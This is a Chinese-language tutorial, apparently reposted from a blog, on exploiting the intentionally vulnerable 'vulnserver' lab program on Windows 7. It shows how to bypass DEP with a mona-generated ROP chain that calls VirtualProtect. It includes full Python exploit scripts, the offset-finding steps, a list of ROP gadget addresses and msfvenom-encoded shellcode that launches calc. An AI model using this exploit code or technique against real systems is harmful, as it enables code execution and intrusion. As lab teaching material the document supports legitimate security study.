内存保护机制及绕过方法——利用Ret2Libc绕过DEP之VirtualProtect函数

利用Ret2Libc绕过DEP之VirtualProtect函数

⑴.  原理分析:

i.相关概念:

VirtualProtect()函数:

BOOL WINAPI VirtualProtect(

    _In_ LPVOID lpAddress,    //目标地址的起始位置

    _In_ SIZE_T dwSize,    //区域大小

    _In_ DWORD flNewProtect,    //新的保护属性,设置为(0x40)市该内存页为可写可读可执行。

    _Out_ PDWORD lpflOldProtect    //指向一个可写地址,用于保存原有保护属性

);

所以如果将VirtualProtect()函数的参数设置成如下格式:

BOOL WINAPI VirtualProtect(

_In_ LPVOID shellcode所在内存地址的起始地址,

_In_ SIZE_T shellcode大小

    _In_ DWORD 0x40

    _Out_ PDWORD 某个可写的地址

);

就可以实现关闭DEP保护机制,执行payload的目的。

实际上,进入函数VirtualProtect()之后函数首先进行了正常的堆栈调整,之后便连续压入了五个参数,然后调用了函数VirtualProtectEx(),因此我们推测函数VirtualProtectEx()才是真正改变内存属性的函数。该函数原型如下:

BOOL VirtualProtectEx(

     HANDLE hProcess, // 要修改内存的进程句柄

     LPVOID lpAddress, // 要修改内存的起始地址

     DWORD dwSize, // 页区域大小

     DWORD flNewProtect, // 新访问方式

     PDWORD lpflOldProtect // 原访问方式 用于保存改变前的保护属性

);

VirtualProtect()函数中连续五个push指令其实是在向函数VitualProtectEx()传递参数;而根据函数参数从右到左的入栈顺序我们可以知道五个push指令依次压入的参数分别为lpflOldProtect、flNewProtect、dwSize、lpAddress以及hProcess,其中参数hProcess为默认值0xFFFFFFFF,代表当前线程的伪句柄。

⑵.环境准备:

i.实验代码:

存在漏洞的web服务器:

http://sites.google.com/site/lupingreycorner/vulnserver.zip

ii.实验环境:

靶机:windows 7

系统开启DEP保护机制。

攻击机:kali linux 1.0

调试器:Immunity Debugger

⑶.测试分析:

i.控制EIP

编写python脚本验证漏洞,控制EIP:

#!/usr/bin/python

import socket

server = '靶机IP'

sport = 9999

 

length = int(raw_input('Length of shellcode: '))

 

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

connect = s.connect((server, sport))

print s.recv(1024)

print "Sending shellcode length ", length, ' to TRUN .'

shellcode = 'A' * length

s.send(('TRUN .' + shellcode + ' '))

print s.recv(1024)

s.send('EXIT ')

print s.recv(1024)

s.close()

执行脚本,

 

靶机效果:

 

漏洞服务器崩溃。

在Immunity Debugger中attach崩溃了的进程可以看到:

 

EIP被覆盖。

ii.确定偏移:

在Immunity Debugger使用脚本mona.py,执行命令:!mona pc 3000(3000个字节长度其实就可以让程序崩溃了)。

可以得到测试偏移的文件pattern.txt。

将ASCII码这一部分当做shellcode发送给服务器。

 

测试代码如下:

#!/usr/bin/python

import socket

server = '靶机IP'

sport = 9999

 

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

connect = s.connect((server, sport))

print s.recv(1024)

print "Sending shellcode length ", length, ' to TRUN .'

shellcode = ’ Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De4De5De6De7De8De9Df0Df1Df2Df3Df4Df5Df6Df7Df8Df9Dg0Dg1Dg2Dg3Dg4Dg5Dg6Dg7Dg8Dg9Dh0Dh1Dh2Dh3Dh4Dh5Dh6Dh7Dh8Dh9Di0Di1Di2Di3Di4Di5Di6Di7Di8Di9Dj0Dj1Dj2Dj3Dj4Dj5Dj6Dj7Dj8Dj9Dk0Dk1Dk2Dk3Dk4Dk5Dk6Dk7Dk8Dk9Dl0Dl1Dl2Dl3Dl4Dl5Dl6Dl7Dl8Dl9Dm0Dm1Dm2Dm3Dm4Dm5Dm6Dm7Dm8Dm9Dn0Dn1Dn2Dn3Dn4Dn5Dn6Dn7Dn8Dn9Do0Do1Do2Do3Do4Do5Do6Do7Do8Do9Dp0Dp1Dp2Dp3Dp4Dp5Dp6Dp7Dp8Dp9Dq0Dq1Dq2Dq3Dq4Dq5Dq6Dq7Dq8Dq9Dr0Dr1Dr2Dr3Dr4Dr5Dr6Dr7Dr8Dr9Ds0Ds1Ds2Ds3Ds4Ds5Ds6Ds7Ds8Ds9Dt0Dt1Dt2Dt3Dt4Dt5Dt6Dt7Dt8Dt9Du0Du1Du2Du3Du4Du5Du6Du7Du8Du9Dv0Dv1Dv2Dv3Dv4Dv5Dv6Dv7Dv8Dv9’

s.send(('TRUN .' + shellcode + ' '))

print s.recv(1024)

s.send('EXIT ')

print s.recv(1024)

s.close()

 

在靶机中的Immunity Debugger中查看测试结果,如下图:

 

可以看到EIP被覆盖为0x396f4338

在命令行输入!mona po 396f4338确定偏移,得到结果如下:

 

EIP位于2006字节处。

所以我们只要将关闭DEP的代码放置在shellcode的2006字节处就可以关闭DEP保护机制,之后再执行payload就可以啦。

⑷.攻击过程:

i.使用mona脚本生成rop链;

输入命令:!mona rop -m *.dll -cp nonull得到rop链

       

生成的rop建议文件位于rop_chain.txt。

ii.生成payload:

直接在kali命令行下执行

msfvenom -p windows/exec cmd=calc -b 'x00' -f c

生成216字节的payload

iii.构建shellcode

根据iii的分析,我们可以得到shellcode的结构如下:

填充物2006字节

通过VirtualProtect函数绕过DEP

Payload

构建攻击脚本:

#!/usr/bin/python

import socket

import struct

import sys

server = '192.168.0.108'

sport = 9999

eip = 'xafx11x50x62'

nopsled = "x90"*16

payload = ""

payload += "xdbxdfxbfx9bx78x16x5axd9x74x24xf4x58x31xc9xb1"

payload += "x30x83xe8xfcx31x78x14x03x78x8fx9axe3xa6x47xd8"

payload += "x0cx57x97xbdx85xb2xa6xfdxf2xb7x98xcdx71x95x14"

payload += "xa5xd4x0exafxcbxf0x21x18x61x27x0fx99xdax1bx0e"

payload += "x19x21x48xf0x20xeax9dxf1x65x17x6fxa3x3ex53xc2"

payload += "x54x4bx29xdfxdfx07xbfx67x03xdfxbex46x92x54x99"

payload += "x48x14xb9x91xc0x0exdex9cx9bxa5x14x6ax1ax6cx65"

payload += "x93xb1x51x4ax66xcbx96x6cx99xbexeex8fx24xb9x34"

payload += "xf2xf2x4cxafx54x70xf6x0bx65x55x61xdfx69x12xe5"

payload += "x87x6dxa5x2axbcx89x2excdx13x18x74xeaxb7x41x2e"

payload += "x93xeex2fx81xacxf1x90x7ex09x79x3cx6ax20x20x2a"

payload += "x6dxb6x5ex18x6dxc8x60x0cx06xf9xebxc3x51x06x3e"

payload += "xa0xaex4cx63x80x26x09xf1x91x2axaax2fxd5x52x29"

payload += "xdaxa5xa0x31xafxa0xedxf5x43xd8x7ex90x63x4fx7e"

payload += "xb1x07x0execx59xc8"

perfix = 'a'*2006

def create_rop_chain():

    rop_gadgets = [

    0x76b81cf2,  # POP EAX # RETN [msvcrt.dll]

    0x6250609c,  # ptr to &VirtualProtect() [IAT essfunc.dll]

    0x7573e960,  # MOV EAX,DWORD PTR DS:[EAX] # RETN [KERNELBASE.dll]

    0x775091a9,  # XCHG EAX,ESI # ADD AL,0 # RETN 0x04 [ntdll.dll]

    0x7756c2f9,  # POP EBP # RETN [ntdll.dll]

    0x41414141,  # Filler (RETN offset compensation)

    0x625011af,  # & jmp esp [essfunc.dll]

    0x76b8a837,  # POP EAX # RETN [msvcrt.dll]

    0xfffffdff,  # Value to negate, will become 0x00000201

    0x7707c52a,  # NEG EAX # RETN [RPCRT4.dll]

    0x76a6b699,  # XCHG EAX,EBX # RETN [GDI32.dll]

    0x776ff07c,  # POP EAX # RETN [MSCTF.dll]

    0xffffffc0,  # Value to negate, will become 0x00000040

    0x77682fd0,  # NEG EAX # RETN [MSCTF.dll]

    0x76b9ad98,  # XCHG EAX,EDX # RETN [msvcrt.dll]

    0x75024f1f,  # POP ECX # RETN [mswsock.dll]

    0x774f780d,  # &Writable location [LPK.dll]

    0x76b80a21,  # POP EDI # RETN [msvcrt.dll]

    0x770114a5,  # RETN (ROP NOP) [RPCRT4.dll]

    0x770738b4,  # POP EAX # RETN [RPCRT4.dll]

    0x90909090,  # nop

    0x76ff5fcf,  # PUSHAD # RETN [RPCRT4.dll]

  ]

    return ''.join(struct.pack('<I', _) for _ in rop_gadgets)

rop_chain = create_rop_chain()

shellcode = perfix+rop_chain+nopsled+payload

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

connect = s.connect((server, sport))

print s.recv(1024)

print "Sending shellcode to TRUN . with length ", len(shellcode)

s.send(('TRUN .' + shellcode + ' '))

print s.recv(1024)

s.send('EXIT ')

print s.recv(1024)

s.close()

                  

其中rop链的部分可以直接由rop_chain文件中的建议函数得到。

                  

iv.执行攻击:

                  

成功弹框。

v.拓展之rop链的思路

         该ROP链主要由7个pop/retn指令序列以及1个pushad/retn指令序列构成;这里我们需要先了解一下pushad指令的作用,该指令会依次将8个32位寄存器的值压入栈中,顺序为EAX,ECX,EDX,EBX,ESP,EBP,ESI,EDI;而前面的7个pop指令,则分别是在给各个寄存器赋值。7个pop/retn指令执行完后各个寄存器的值如下图所示:

                  

此时程序开始执行pushad指令将八个寄存器的值压入栈中,pushad指令执行完后栈中情况如下图所示:

        

         如上图所示,该ROP链可以正确的将VirtualProtectEx()所需要的参数布局在栈中,因此该函数执行完后我们shellcode所在的内存页的保护属性便可以被成功修改。接下来,我们要做的便是跳转到shellcode。通过前面的分析我们已经知道VirtualProtectEx()函数返回后esp的值被调整为ebp的值,之后的一个pop ebp指令使得esp+4指向了上图中pop ebp/retn指令执行后,程序返回到esp+8所指向的地址执行,而之前VirtualProtect()函数返回时执行了retn 10h,因此此时的esp=esp+18h。而这个地址存放的正是ROP链中的最后四个字节”push esp/retn”,push esp将当前的esp值压入栈中,retn后该值被赋给指令寄存器eip,程序得以继续向下执行也就是我们的payload。

         最后,如果只开启编译器的/NXCompat选项,而操作系统端选择“仅为基本的Windows程序和服务启用DEP”,则mona生成的ROP链不可用,经调试发现该ROP链中VirtualProtect()函数定位有误,修改后即可。

原文地址:https://www.cnblogs.com/zhang293/p/9037459.html